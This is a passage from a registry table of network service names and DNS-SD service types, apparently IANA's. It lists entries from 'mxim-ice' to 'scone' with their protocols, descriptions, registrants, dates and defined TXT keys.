mxim-ice                              Maxim Integrated Products    [Zach_Metzinger]                                      [Zach_Metzinger]                                                                                                                                         Defined TXT keys: Proprietary
                                      In-circuit Emulator
                                                                                                                                                                                                                                                                                  Defined TXT keys: None mxs.system.id=<system id>
mxs                                   MatrixStore                  [Object_Matrix]                                       [Object_Matrix]                                                                                                                                          mxs.system.version=<system layer version>
                                                                                                                                                                                                                                                                                  mxs.cluster.id=<cluster id the system belongs to>
naio                           tcp    NetAcquire server            [NetAcquire_Corporation]                              [David_Hauck]                                             2018-06-20                                                                                     Defined TXT keys: txtvers, fn
                                      input/output protocol
nasmon                         tcp    Proprietary communication    [Infinite_Loop]                                       [Claus_Broch2]                                            2012-10-09                                                                                     Defined TXT keys: Proprietary
                                      protocol for NAS Monitor
nasmon                         udp    Proprietary communication    [Infinite_Loop]                                       [Claus_Broch2]                                            2012-10-09                                                                                     Defined TXT keys: Proprietary
                                      protocol for NAS Monitor
                                      This DNS-SD service is used
                                      by mobile clients to locate                                                                                                                                                                                                                 Defined TXT keys: companyfullname == The name of the company
nasunifiler                    tcp    the Nasuni Filer (a storage  [Nasuni_Corporation]                                  [David_Shaw-Nasuni]                                       2016-01-22                                                                                     hosting the Nasuni Filer
                                      product) for a given
                                      company.
ncbroadcast                           Network Clipboard Broadcasts [Thom_McGrath]                                        [Thom_McGrath]                                                                                                                                           Defined TXT keys: Contact The ZAZ Software <networkclipboard
                                                                                                                                                                                                                                                                                  at thezaz.com>
ncdirect                              Network Clipboard Direct     [Thom_McGrath]                                        [Thom_McGrath]                                                                                                                                           Defined TXT keys: Contact The ZAZ Software <networkclipboard
                                      Transfers                                                                                                                                                                                                                                   at thezaz.com>
                                      The issuer service in the
ncount-issuer                  tcp    n-Count electronic value     [n-Count_Technology_BV]                               [Eduard_de_Jong]                                          2013-01-22                                                                                     Defined TXT keys: None
                                      transfer system
ncsyncserver                          Network Clipboard Sync       [Thom_McGrath]                                        [Thom_McGrath]                                                                                                                                           Defined TXT keys: Contact The ZAZ Software <networkclipboard
                                      Server                                                                                                                                                                                                                                      at thezaz.com>
nedap-aepu                     tcp    Nedap AEOS processing unit   [Nedap]                                               [Leon_van_der_Voort_van_der_Kleij]                        2014-08-28                                                                                     Defined TXT keys: None
neoriders                      udp    NeoRiders Client Discovery   [Jesse_W_Towner]                                      [Jesse_W_Towner]                                                                                                                                         Defined TXT keys: None
                                      Protocol
netready                       tcp    UpdateLogic NetReady Device  [UpdateLogic_Inc]                                     [Chris_Nigbur]                                            2014-10-27                                                                                     Defined TXT keys: Proprietary
                                      Identification
netrestore                            NetRestore                   [Mike_Bombich]                                        [Mike_Bombich]                                                                                                                                           Defined TXT keys: message, status, progress
netvu-video                    tcp    AD Group NetVu Connected     [AD_Holdings]                                         [Kelvin_Lawson]                                           2011-10-11                                                                                     Defined TXT keys: none
                                      Video
                                      Proprietary communication
nextcap                        tcp    protocol for NextCap capture [NextDay_Aps]                                         [Claus_Broch]                                             2012-04-24                                                                                     Defined TXT keys: Proprietary
                                      solution
                                      Proprietary communication
nextcap                        udp    protocol for NextCap capture [NextDay_Aps]                                         [Claus_Broch]                                             2012-04-24                                                                                     Defined TXT keys: Proprietary
                                      solution
                                      NFS service for the domain
nfs-domainroot                 tcp    root, the root of an         [IESG]                                                [IETF_Chair]                                              2012-04-24                [RFC6641]                                                            Defined TXT keys: None
                                      organization's published
                                      file namespace.
ngr-keydist                    tcp    NGR Key Distribution         [nyantec]                                             [Mikael_Voss]                                             2017-04-18                                                                                     Defined TXT keys: None
ni                             tcp    National Instruments Network [National_Instruments]                                [Joshua_Prewitt]                                          2011-10-24                                                                                     Defined TXT keys: MAC, DevClass, ProdId, ProdName, SerialNo,
                                      Device                                                                                                                                                                                                                                      Status, ImgPath, Comment
ni-ftp                         tcp    NI FTP                       [Steve_Kille]                                         [Steve_Kille]                                             2017-05-18                                                                                     Defined TXT keys: None
ni-ftp                         udp    NI FTP                       [Steve_Kille]                                         [Steve_Kille]                                             2017-05-18                                                                                     Defined TXT keys: None
ni-mail                        tcp    NI MAIL                      [Steve_Kille]                                         [Steve_Kille]                                             2017-05-18                                                                                     Defined TXT keys: None
ni-mail                        udp    NI MAIL                      [Steve_Kille]                                         [Steve_Kille]                                             2017-05-18                                                                                     Defined TXT keys: None
ni-rt                          tcp    National Instruments         [National_Instruments]                                [Joshua_Prewitt]                                          2011-10-24                                                                                     Defined TXT keys: MAC, OS, OSVer, ProcArch
                                      Real-Time Target
ni-sysapi                      tcp    National Instruments System  [National_Instruments]                                [Joshua_Prewitt]                                          2011-10-24                                                                                     Defined TXT keys: MAC, Experts, Version
                                      API Service
                                      Lightweight event based
nodel                          tcp    control protocol utilising   [Lumicom]                                             [Michael_Cartmel]                                         2013-02-07                                                                                     Defined TXT keys: None
                                      JavaScript Object Notation
ntlx-arch                             American Dynamics Intellex   [Gary_Sands]                                          [Gary_Sands]                                                                                                                                             Defined TXT keys: txtvers, macaddress, protovers, model,
                                      Archive Management Service                                                                                                                                                                                                                  serial
                                      American Dynamics Intellex                                                                                                                                                                                                                  Defined TXT keys: txtvers, macaddress, protovers, model,
ntlx-ent                              Enterprise Management        [Gary_Sands]                                          [Gary_Sands]                                                                                                                                             serial
                                      Service
ntlx-video                            American Dynamics Intellex   [Gary_Sands]                                          [Gary_Sands]                                                                                                                                             Defined TXT keys: txtvers, macaddress, protovers, model,
                                      Video Service                                                                                                                                                                                                                               serial, control, event
ntx                            udp    Tenasys                      [Carl_Ellis]                                          [Carl_Ellis]                                                                                                                                             Defined TXT keys: None
nusdp                          tcp    Nuance Unity Service         [Nuance_Communications_Inc]                           [Andrew_Andrews]                                          2017-04-20                                                                                     Defined TXT keys: None
                                      Discovery Protocol
oak                            tcp    Oak Device Services          [Oak_Labs_Inc.]                                       [Flynn_Joffray]                                           2017-02-09                                                                                     Defined TXT keys: None
oak                            udp    Oak Device Services          [Oak_Labs_Inc.]                                       [Flynn_Joffray]                                           2017-02-09                                                                                     Defined TXT keys: None
obf                                   Observations Framework       [Matthew_Baker]                                       [Matthew_Baker]                                                                                                                                          Defined TXT keys: version=<value>
                                      Means for clients to locate                                                                                                                                                                                                                 Defined TXT keys: txtvers='1'
objective                             servers in an Objective      [Marc_Bailey]                                         [Marc_Bailey]                                                                                                                                            type={'production'|'standby'|'test'|'demo'}
                                      (http://www.objective.com)                                                                                                                                                                                                                  protocol={['SOAP'],['CORBA']} transport=['iiop']|['http']
                                      instance.
                                      Insecure OCP.1 protocol,
oca                            tcp    which is the insecure TCP/IP [OCA_Alliance]                                        [Stephan_van_Tienen]                                      2012-10-11                                                                                     Defined TXT keys: txtvers=1 protovers=x
                                      implementation of the Object
                                      Control Architecture
                                      Insecure OCP.1 protocol,
oca                            udp    which is the insecure TCP/IP [OCA_Alliance]                                        [Stephan_van_Tienen]                                      2012-10-11                                                                                     Defined TXT keys: txtvers=1 protovers=x
                                      implementation of the Object
                                      Control Architecture
                                      Secure OCP.1 protocol, which
ocasec                         tcp    is the secure TCP/IP         [OCA_Alliance]                                        [Stephan_van_Tienen]                                      2012-10-11                                                                                     Defined TXT keys: txtvers=1 protovers=x
                                      implementation of the Object
                                      Control Architecture
                                      Secure OCP.1 protocol, which
ocasec                         udp    is the secure TCP/IP         [OCA_Alliance]                                        [Stephan_van_Tienen]                                      2012-10-11                                                                                     Defined TXT keys: txtvers=1 protovers=x
                                      implementation of the Object
                                      Control Architecture
ocaws                          tcp    Insecure OCP.1 hosted on a   [OCA_Alliance]                                        [Stephan_van_Tienen]                                      2017-05-19                                                                                     Defined TXT keys: txtvers protovers path
                                      WebSocket
oce                                   Oce Common Exchange Protocol [Dion_Slijp]                                          [Dion_Slijp]                                                                                                                                             Defined TXT keys: type, version
od-master                             OpenDirectory Master         [Jason_Thorpe]                                        [Jason_Thorpe]                                                                                                                                           Defined TXT keys: None
odabsharing                           OD4Contact                   [Objective_Decision]                                  [Objective_Decision]                                                                                                                                     Defined TXT keys: None
odisk                                 Optical Disk Sharing         [Bob_Bradley_2]                                       [Bob_Bradley_2]                                                                                                                                          Defined TXT keys: sys, dkX
officetime-sync                       OfficeTime Synchronization   [Support]                                             [Support]                                                                                                                                                Defined TXT keys: None
                                      Protocol
ofocus-conf                           OmniFocus setting            [Timothy_J_Wood]                                      [Timothy_J_Wood]                                                                                                                                         Defined TXT keys: None
                                      configuration
ofocus-sync                           OmniFocus document           [Timothy_J_Wood]                                      [Timothy_J_Wood]                                                                                                                                         Defined TXT keys: Proprietary
                                      synchronization
                                      Web Interface for the Open
ola                            tcp    Lighting Architecture        [Open_Lighting_Project]                               [Simon_Newton_2]                                          2013-12-09   2014-02-25                                                                        Subtypes: _www-http Defined TXT keys: None
                                      Software
olpc-activity1                 udp    One Laptop per Child         [One_Laptop_per_Child]                                [One_Laptop_per_Child]                                                                                                                                   Defined TXT keys: Shared_Activity_Protocol_1.0
                                      activity
oma-bcast-sg                          OMA BCAST Service Guide      [Stefan_Ekenberg]                                     [Stefan_Ekenberg]                                                                                                                                        Defined TXT keys: None
                                      Discovery Service
                                      Open Mobile Alliance (OMA)
omadm-bootstrap                tcp    Device Management (DM)       [Open_Mobile_Alliance]                                [Open_Mobile_Alliance_Device_Management_DM_Working_Group] 2011-08-19                                                                                     Defined TXT keys: None
                                      Bootstrap Server Discovery
                                      Service
omni-bookmark                         OmniWeb                      [The_Omni_Group]                                      [The_Omni_Group]                                                                                                                                         Defined TXT keys: None
                                      Service for remote control
omni-live                             of Omnisphere virtual        [Glenn_Olander_2]                                     [Glenn_Olander_2]                                                                                                                                        Defined TXT keys: omni-livetxt.html
                                      instrument
openbase                              OpenBase SQL                                                                                                                                                                                                                                Defined TXT keys: None
opencu                         udp    Conferencing Protocol        [Marc_Manthey_2]                                      [Marc_Manthey_2]                                                                                                                                         Defined TXT keys: None
openpath                       tcp    Discovery of OpenPath        [OpenPath_Security_Inc]                               [John_Hickey]                                             2018-01-11                                                                                     Defined TXT keys: Proprietary
                                      appliances
oprofile                              oprofile server protocol     [Rob_Bradford]                                        [Rob_Bradford]                                                                                                                                           Defined TXT keys: None
oscit                          udp    Open Sound Control Interface [Gaspard_Bucher]                                      [Gaspard_Bucher]                                                                                                                                         Defined TXT keys: None
                                      Transfer
ovready                               ObjectVideo OV Ready         [Gary_Myers]                                          [Gary_Myers]                                                                                                                                             Defined TXT keys: txtvers, protovers
                                      Protocol
owhttpd                               OWFS (1-wire file system)    [Paul_H_Alfille]                                      [Paul_H_Alfille]                                                                                                                                         Defined TXT keys: txtvers
                                      web server
parentcontrol                         Remote Parental Controls     [John_Scalo]                                          [John_Scalo]                                                                                                                                             Defined TXT keys: None
passwordwallet                        PasswordWallet Data          [Sanford_Selznick]                                    [Sanford_Selznick]                                                                                                                                       Defined TXT keys: None
                                      Synchronization Protocol
pcast                                 Mac OS X Podcast Producer    [Nick_Brosnahan]                                      [Nick_Brosnahan]                                                                                                                                         Defined TXT keys: None
                                      Server
p2pchat                        udp    Peer-to-Peer Chat (Sample    [Roger_Pantos]                                        [Roger_Pantos]                                                                                                                                           Defined TXT keys: None
                                      Java Bonjour application)
p2pstorage-sec                 tcp    DataBOND p2p storage         [Dell]                                                [Jessica_Zhang]                                           2012-11-19                                                                                     Defined TXT keys: txtvers, machineid, status
pairandshare                   tcp    Pair & Share data protocol   [Intel]                                               [Joshua_Boelter]                                          2011-10-18                                                                                     Defined TXT keys: Proprietary
panoply                        tcp    Panoply multimedia composite [Natarajan_Balasundar]                                [Natarajan_Balasundar]                                                                                                                                   Defined TXT keys: None
                                      transfer protocol
parabay-p2p                    tcp    Parabay P2P protocol         [Vishnu_Varadaraj]                                    [Vishnu_Varadaraj]                                                                                                                                       Defined TXT keys: None
parity                         tcp    PA-R-I-Ty (Public Address -  [ims_Info]                                            [Oskar_Persano]                                           2011-10-20                                                                                     Defined TXT keys: Proprietary
                                      Radio - Intercom - Telefony)
parity                         udp    PA-R-I-Ty (Public Address -  [ims_Info]                                            [Oskar_Persano]                                           2011-10-20                                                                                     Defined TXT keys: Proprietary
                                      Radio - Intercom - Telefony)
pgpkey-hkp                            Horowitz Key Protocol (HKP)  [Marc_Horowitz]                                       [Marc_Horowitz]                                                                                                                                          Defined TXT keys: None
pgpkey-http                           PGP Keyserver using HTTP/1.1 [Jeroen_Massar_3]                                     [Jeroen_Massar_3]                                                                                                                                        Defined TXT keys: path=<path on the server where the HKP
                                                                                                                                                                                                                                                                                  applications reside> normally: "path=/pks/"
pgpkey-https                          PGP Keyserver using HTTPS    [Jeroen_Massar_3]                                     [Jeroen_Massar_3]                                                                                                                                        Defined TXT keys: path=<path on the server where the HKP
                                                                                                                                                                                                                                                                                  applications reside> normally: "path=/pks/"
pgpkey-ldap                           PGP Keyserver using LDAP     [Jeroen_Massar_3]                                     [Jeroen_Massar_3]                                                                                                                                        Defined TXT keys: None
pgpkey-mailto                         PGP Key submission using     [Jeroen_Massar_3]                                     [Jeroen_Massar_3]                                                                                                                                        Defined TXT keys: user=<user portion of the mail address>
                                      SMTP
photoparata                           Photo Parata Event           [Sam_Carleton]                                        [Sam_Carleton]                                                                                                                                           Defined TXT keys: None
                                      Photography Software
photoshow                      tcp    Show Photos over TCP         [Hamed_Ishbaitah]                                     [Hamed_Ishbaitah]                                         2014-07-30                                                                                     Defined TXT keys: None
photosmithsync                 tcp    Photosmith's iPad to         [Photosmith]                                          [Chris_Horne]                                             2011-10-27                                                                                     Defined TXT keys: None
                                      Lightroom sync protocol
pictua                                Pictua Intercommunication    [Isaack_Rasmussen]                                    [Isaack_Rasmussen]                                                                                                                                       Defined TXT keys: None
                                      Protocol
piesync                               pieSync Computer to Computer [Timothy_Wayper]                                      [Timothy_Wayper]                                                                                                                                         Defined TXT keys: None
                                      Synchronization
piu                                   Pedestal Interface Unit by   [James_Nikolai]                                       [James_Nikolai]                                                                                                                                          Defined TXT keys: None
                                      RPM-PSI
pkixrep                               Public Key Infrastructure                                                                                                                                              [RFC4386]
                                      Repository Locator Service
poch                                  Parallel OperatiOn and       [Dean_Dauger]                                         [Dean_Dauger]                                                                                                                                            Defined TXT keys: None
                                      Control Heuristic (Pooch)
                                                                                                                                                                                                                                                                                  Defined TXT keys: key "txtvers" for specification versioning,
pochi                          tcp    A presenter to audience      [Ringo_Wathelet]                                      [Ringo_Wathelet]                                          2018-07-11                                                                                     and key "name" representing the advertising presentation
                                      transfer service                                                                                                                                                                                                                            string value name for the audience application to retrieve
                                                                                                                                                                                                                                                                                  and display.
podcastproxy                   tcp    Protocol for communication   [Moritz_Schmale]                                      [Moritz_Schmale]                                          2011-10-07                                                                                     Defined TXT keys: None
                                      between Podcast
                                      Communication channel for
pokeeye                               "Poke Eye" Elgato EyeTV      [Kristoffer_Lawson]                                   [Kristoffer_Lawson]                                                                                                                                      Defined TXT keys: None
                                      remote controller
powereasy-erp                         PowerEasy ERP                [Ulaganathan_Sriramul]                                [Ulaganathan_Sriramul]                                                                                                                                   Defined TXT keys: ip, port, name, instance, cgi-alias,
                                                                                                                                                                                                                                                                                  major-version, minor-version, custom
powereasy-pos                         PowerEasy Point of Sale      [Murthy_Parthasarathi]                                [Murthy_Parthasarathi]                                                                                                                                   Defined TXT keys: ip, port, type, device-id, major-version,
                                                                                                                                                                                                                                                                                  minor-version, custom
pplayer-ctrl                          Piano Player Remote Control  [Juraj_Zopp]                                          [Juraj_Zopp]                                                                                                                                             Defined TXT keys: Proprietary
pres                           tcp    Presence                                                                                                                                                               [RFC3861]
pres                           udp    Presence                                                                                                                                                               [RFC3861]
                                                                                                                                                                                                                                                                                  Defined TXT keys: See
                                                                                                                                                                                                                                                                                  http://www.xmpp.org/registrar/linklocal.html Note:
                                                                                                                                                                                                                                                                                  Registration updated May 2007. Was formerly listed as "iChat
                                                                                                                                                                                                                                                                                  AV" (Apple's IM client for Mac OS X) with TXT keys: txtvers,
                                                                                                                                                                                                                                                                                  port.p2pj, phsh, vc, 1st, AIM, msg, status, last When first
                                                                                                                                                                                                                                                                                  shipped in Mac OS X 10.2, iChat's peer-to-peer messaging
presence                              Peer-to-peer messaging /     [XMPP_Registrar]                                      [XMPP_Registrar]                                                                                                                                         protocol was created to solve the problem of serverless
                                      Link-Local Messaging                                                                                                                                                                                                                        messaging between peers on the same link. However, there is
                                                                                                                                                                                                                                                                                  nothing inherent in the protocol that limits it to being only
                                                                                                                                                                                                                                                                                  link-local; it was simply an artifact of iChat in Mac OS X
                                                                                                                                                                                                                                                                                  10.2 using link-local Multicast DNS to discover peers. With
                                                                                                                                                                                                                                                                                  the advent of Wide-Area DNS-SD, it is also possible to use
                                                                                                                                                                                                                                                                                  iChat's peer-to-peer messaging between machines on different
                                                                                                                                                                                                                                                                                  links.
print-caps                            Retrieve a description of a  [Troy_Bergstrand]                                     [Troy_Bergstrand]                                                                                                                                        Defined TXT keys: None
                                      device's print capabilities
printopia                      tcp    Printopia Server             [Decisive_Tactics_Inc]                                [Chris_Kent]                                              2011-10-24   2015-04-11                                                                        Defined TXT keys: uuid, vers, pvers
profilemac                            Profile for Mac medical      [David_Sinclair_2]                                    [David_Sinclair_2]                                                                                                                                       Defined TXT keys: None
                                      practice management software
prolog                                Prolog                       [Mike_Brady]                                          [Mike_Brady]                                                                                                                                             Defined TXT keys: version=<version number>
protonet                              Protonet node and service    [Ali_Jelveh]                                          [Ali_Jelveh]                                                                                                                                             Defined TXT keys: version, notes
                                      discovery protocol
psap                           udp    Progal Service Advertising   [Soren_Weber]                                         [Soren_Weber]                                                                                                                                            Defined TXT keys: c0, c1, ..., cn
                                      Protocol
                                      Physical Security
psia                                  Interoperability Alliance    [Frank_Yeh]                                           [Frank_Yeh]                                                                                                                                              Defined TXT keys: txtvers, protovers
                                      Protocol
pstmailsync                    tcp    File synchronization         [Arrow_Bit_SL]                                        [Javier_Nigro]                                            2012-04-26                                                                                     Defined TXT keys: uuid=<unique instance identifier>
                                      protocol for Pst Mail Sync
pstmailsync-ssl                tcp    Secured file synchronization [Arrow_Bit_SL]                                        [Javier_Nigro]                                            2012-04-26                                                                                     Defined TXT keys: uuid=<unique instance identifier>
                                      protocol for Pst Mail Sync
ptnetprosrv2                          PTNetPro Service             [Apple_Computer]                                      [Apple_Computer]                                                                                                                                         Defined TXT keys: None Profiling and performance analysis
                                                                                                                                                                                                                                                                                  protocol for Shark 4.0 and BigTop.
ptp-init                       tcp    Picture Transfer             [Canon_Inc]                                           [Tatsuhiko_Sakai]                                         2011-10-03                                                                                     Defined TXT keys: srvver, mn, mf, md, srv, tid
                                      Protocol(PTP) Initiator
ptp-req                               PTP Initiation Request       [Mark_Wood]                                           [Mark_Wood]                                                                                                                                              Defined TXT keys: txtvers, guid, c0, c1, c2, ..., where the
                                      Protocol                                                                                                                                                                                                                                    number of c_n attributes is variable
puzzle                                Protocol used for puzzle     [Michael_Thomason]                                    [Michael_Thomason]                                                                                                                                       Defined TXT keys: None
                                      games
pvaccess                       tcp    Experimental Physics and     [Matej_Sekoranja]                                     [Matej_Sekoranja]                                         2012-03-23                                                                                     Defined TXT keys: None
                                      Industrial Control System
qbox                                  QBox Appliance Locator       [Geoff_Back_4]                                        [Geoff_Back_4]                                                                                                                                           Defined TXT keys: None
qttp                                  QuickTime Transfer Protocol  [Stuart_Cheshire_5]                                   [Stuart_Cheshire_5]                                                                                                                                      Defined TXT keys: u=<username> p=<password> path=<path to
                                                                                                                                                                                                                                                                                  document> (Same as for _http._tcp)
quad                           tcp    Distributed Game Data        [Niall_Hogg]                                          [Niall_Hogg]                                              2011-10-25                                                                                     Defined TXT keys: Proprietary
quinn                                 Quinn Game Server            [Simon_Haertel]                                       [Simon_Haertel]                                                                                                                                          Defined TXT keys: None
                                      Broadcast of Qwizdom
qwizcollab                     tcp    Presentation sessions for    [Qwizdom_Inc.]                                        [Matthew_Owings]                                          2015-09-21                                                                                     Defined TXT keys: None
                                      joining by a client, such as
                                      Qwizdom Notes+.
rakket                                Rakket Client Protocol       [Orion_Reblitz_Richar]                                [Orion_Reblitz_Richar]                                                                                                                                   Defined TXT keys: None
radiotag                              RadioTAG: Event tagging for  [Andy_Buckingham]                                     [Andy_Buckingham]                                                                                                                                        Defined TXT keys: None
                                      radio services
radiovis                              RadioVIS: Visualisation for  [Andy_Buckingham]                                     [Andy_Buckingham]                                                                                                                                        Defined TXT keys: None
                                      radio services
                                      RadioEPG: Electronic
radioepg                              Programme Guide for radio    [Andy_Buckingham]                                     [Andy_Buckingham]                                                                                                                                        Defined TXT keys: None
                                      services
radioport                      tcp    RadioPort Message Service    [Bob_Iannucci]                                        [Bob_Iannucci]                                            2011-11-23                                                                                     Defined TXT keys: NONE
radioport                      udp    RadioPort Message Service    [Bob_Iannucci]                                        [Bob_Iannucci]                                            2011-11-23                                                                                     Defined TXT keys: NONE
                                      Authentication, Accounting,
                                      and Dynamic Authorization
                                      via the RADIUS protocol.
radiusdtls                     udp    This service name is used to [IESG]                                                [IETF_Chair]                                              2015-03-23   2015-10-06   [RFC7585]                                                            Defined TXT keys: None
                                      construct the SRV service
                                      label "_radiusdtls" for
                                      discovery of RADIUS/DTLS
                                      servers.
                                      Authentication, Accounting,
                                      and Dynamic Authorization
                                      via the RADIUS protocol.
radiustls                      tcp    This service name is used to [IESG]                                                [IETF_Chair]                                              2015-03-23   2015-10-06   [RFC7585]                                                            Defined TXT keys: None
                                      construct the SRV service
                                      label "_radiustls" for
                                      discovery of RADIUS/TLS
                                      servers.
railduino                      tcp    Model Railroad Messaging     [Railduino]                                           [Volker_Wiegand_2]                                        2018-01-08                                                                                     Defined TXT keys: role=master
raop                                  Remote Audio Output Protocol [BonjourDev]                                          [BonjourDev]                                                           2011-10-14                                                                        Defined TXT keys: None
                                      (AirTunes)
rbr                                   RBR Instrument Communication [Greg_Johnson]                                        [Greg_Johnson]                                                                                                                                           Defined TXT keys: None
rce                                   PowerCard                    [DeVoeSquared]                                        [DeVoeSquared]                                                                                                                                           Defined TXT keys: None
rdp                                   Windows Remote Desktop       [Jugaari]                                             [Jugaari]                                                                                                                                                Defined TXT keys: None
                                      Protocol
realplayfavs                          RealPlayer Shared Favorites  [RealNetworks]                                        [RealNetworks]                                                                                                                                           Defined TXT keys: None
recipe-box                     tcp    The Recipe Box Exchange      [Corpus_Collusion]                                    [Kathy_Tafel]                                             2011-08-23                                                                                     Defined TXT keys: txtvers
recipe-sharing                 tcp    Recipe Sharing Protocol      [Daniel_G_Taylor]                                     [Daniel_G_Taylor]                                         2007-11                                                                                        Defined TXT keys:
                                                                                                                                                                                                                                                                                  [http://www.recipemanager.org/rsp/rsp10draft.html#dnssd]
recolive-cc                    tcp    Remote Camera Control        [RecoLive_Sàrl]                                       [Gabriele_Mondada]                                        2012-08-29                                                                                     Defined TXT keys: txtvers, cid, nbd, cap
recolive-cc                    udp    Remote Camera Control        [RecoLive_Sàrl]                                       [Gabriele_Mondada]                                        2012-08-29                                                                                     Defined TXT keys: txtvers, cid, nbd, cap
recordit-itp                   tcp    Recordit Image Transport     [Freshout]                                            [Ruben_Beltran_del_Rio_2]                                 2014-04-14                                                                                     Defined TXT keys: None
                                      Protocol
                                      Remote Device Control                                                                                                                                                                                                                       Defined TXT keys: txtvers=<TXT record version tag>
remote                                Protocol                     [Gregory_Dudek]                                       [Gregory_Dudek]                                                                                                                                          protovers=<protocol vesion number> forground=<primary device
                                                                                                                                                                                                                                                                                  or system> version=<firmware/instrument controller version>
                                      Remote Buddy remote control
remotebuddy                    tcp    software command and data    [IOSPIRIT_GmbH]                                       [Felix_Schwarz]                                           2014-09-23                                                                                     Defined TXT keys: None
                                      exchange
remoteburn                            LaCie Remote Burn            [Serge_DE_LUCA]                                       [Serge_DE_LUCA]                                                                                                                                          Defined TXT keys: server_version, min_client_version
renderpipe                            ARTvps RenderDrive/PURE      [Andrew_Hoddinott]                                    [Andrew_Hoddinott]                                                                                                                                       Defined TXT keys: None
                                      Renderer Protocol
rendezvouspong                        RendezvousPong               [Math_Game_House_Soft]                                [Math_Game_House_Soft]                                                                                                                                   Defined TXT keys: None
renkara-sync                          Renkara synchronization      [Michael_J_Primeaux]                                  [Michael_J_Primeaux]                                                                                                                                     Defined TXT keys: None
                                      protocol
resol-vbus                            RESOL VBus                   [Daniel_Wippermann]                                   [Daniel_Wippermann]                                                                                                                                      Defined TXT keys: None
retrospect                            Retrospect backup and        [Michael_Marks]                                       [Michael_Marks]                                                                                                                                          Defined TXT keys: None
                                      restore service
                                      Remote Frame Buffer Client                                                                                                                                                                                                                  Defined TXT keys: server=dns-name/ip-address:port of
rfbc                                  (Used by VNC viewers in      [Ole_Morten_Duesund]                                  [Ole_Morten_Duesund]                                                                                                                                     currently displayed VNC server. Empty if not showing
                                      listen-mode)                                                                                                                                                                                                                                anything/available.
rfid                                  RFID Reader Mach1(tm)        [Paul_Dietrich]                                       [Paul_Dietrich]                                                                                                                                          Defined TXT keys: None
                                      Protocol
rgb                            tcp    RGB Spectrum Device          [RGB_Spectrum]                                        [Steve_Hershey]                                           2011-10-10                                                                                     Defined TXT keys: Keyboard, Mouse, Option1, Option2, Option3,
                                      Discovery                                                                                                                                                                                                                                   Option4, ModelName
riousbprint                           Remote I/O USB Printer       [Rob_Newberry]                                        [Rob_Newberry]                                                                                                                                           Defined TXT keys: See BonjourPrinting.pdf.
                                      Protocol
roambot                        tcp    Roambot communication        [Roambotics_Inc]                                      [Scott_Menor]                                             2013-10-18                                                                                     Defined TXT keys: None
                                      Like ircu (RFC1459), but
robustirc                      tcp    failure tolerant due to      [Michael_Stapelberg]                                  [Michael_Stapelberg]                                      2015-01-07                                                                                     Defined TXT keys: None
                                      strong consistency among
                                      n>=3 servers
roku-rcp                              Roku Control Protocol        [Don_Woodward]                                        [Don_Woodward]                                                                                                                                           Defined TXT keys: txtvers=1
roomcast-capi                  tcp    RoomCast Control Protocol    [Colin_Corby]                                         [Colin_Corby]                                             2017-02-01                                                                                     Defined TXT keys: protocolVersion, uuid
roomcast-mapi                  tcp    RoomCast Management Protocol [Colin_Corby]                                         [Colin_Corby]                                             2017-02-01                                                                                     Defined TXT keys: protocolVersion, uuid
rql                                   RemoteQuickLaunch            [Daniel_Heffernan]                                    [Daniel_Heffernan]                                                                                                                                       Defined TXT keys: None
rr-disc                               Robot Raconteur discovery    [Wason_Technology_LLC]                                [John_Wason]                                              2014-01-27                                                                                     Defined TXT keys: None
                                      Ruckus Radio Access Device,                                                                                                                                                                                                                 Defined TXT keys: txtvers=<version>, serial=<serial number>,
rradict                        tcp    Installation, Commissioning  [Dave_Stephenson]                                     [Dave_Stephenson]                                         2016-03-09                                                                                     mac=<mac-address>, model=<model number>, opMode=<operational
                                      and Troubleshooting service.                                                                                                                                                                                                                mode>, tx=<transmitter-status>, timing=<timing-status>
rsmp-server                           Remote System Management     [Geoff_Back_3]                                        [Geoff_Back_3]                                                                                                                                           Defined TXT keys: apiver=<major.minor>
                                      Protocol (Server Instance)
rubygems                              RubyGems GemServer           [Rich_Kilmer]                                         [Rich_Kilmer]                                                                                                                                            Defined TXT keys: None
rxxmiele                       tcp    Miele protocol robot         [Miele_and_Cie._KG]                                   [Nils_Langhammer]                                         2018-04-20                                                                                     Defined TXT keys: txtvers and proprietary keys
                                      cleaners
rym-rrc                        tcp    Raymarine remote control     [Raymarine_UK_Limited]                                [Geoffrey_Beer]                                           2012-05-24   2012-06-04                                                                        Defined TXT keys: raymarine-mfd-rrc-version,
                                      protocol                                                                                                                                                                                                                                    raymarine-mfd-model, raymarine-mfd-serial
safarimenu                            Safari Menu                  [Jesus_De_Meyer]                                      [Jesus_De_Meyer]                                                                                                                                         Defined TXT keys: None
sallingbridge                         Salling Clicker Sharing      [Jonas_Salling]                                       [Jonas_Salling]                                                                                                                                          Defined TXT keys: None
sallingclicker                        Salling Clicker Service      [Jonas_Salling]                                       [Jonas_Salling]                                                                                                                                          Defined TXT keys: None
                                      Salutafugi Peer-To-Peer Java
salutafugijms                         Message Service              [David_Walend]                                        [David_Walend]                                                                                                                                           Defined TXT keys: SalutaProperties
                                      Implementation
sandvox                               Sandvox                      [Karelia_Software]                                    [Karelia_Software]                                                                                                                                       Defined TXT keys: None
savagesoft                     tcp    Proprietary Client Server    [Andy_Savage]                                         [Andy_Savage]                                             2012-07-13                                                                                     Defined TXT keys: None
                                      Protocol
sc-golf                               StrawberryCat Golf Protocol  [Phil_Willoughby]                                     [Phil_Willoughby]                                                                                                                                        Defined TXT keys: None
scanner                               Bonjour Scanning             [Baskaran_Subramaniam]                                [Baskaran_Subramaniam]                                                                                                                                   Defined TXT keys: None
schick                                Schick                       [Heiko_Kretschmer]                                    [Heiko_Kretschmer]                                                                                                                                       Defined TXT keys: None
schims                         tcp    schindler internal messaging [Schindler_Aufzuege_ag]                               [Arno_Odermatt]                                           2015-12-05                                                                                     Defined TXT keys: None
                                      service
schlog                         tcp    logging service              [Schindler_Aufzuege_ag]                               [Arno_Odermatt]                                           2015-12-05                                                                                     Defined TXT keys: None
schmpp                         tcp    Schindler maintenance portal [Schindler_Aufzuege_ag]                               [Arno_Odermatt]                                           2015-04-30                                                                                     Defined TXT keys: None
                                      protocol
schoms                         tcp    schindler object messaging   [Schindler_Aufzuege_ag]                               [Arno_Odermatt]                                           2015-05-12                                                                                     Defined TXT keys: None
                                      system
schsap                         tcp    Schindler service            [Schindler_Aufzuege_ag]                               [Arno_Odermatt]                                           2015-04-30                                                                                     Defined TXT keys: None
                                      authentication portal
schsrmp                        tcp    Schindler internal messaging [Schindler_Aufzuege_ag]                               [Arno_Odermatt]                                           2017-07-07   2017-07-10                                                                        Defined TXT keys: None
                                      service
scone                                 Scone                        [James_Moore]                                         [James_Moore]                                                                                                                                            Defined TXT keys: None
                                      The service name is used by
                                      the SFTP protocol to upload
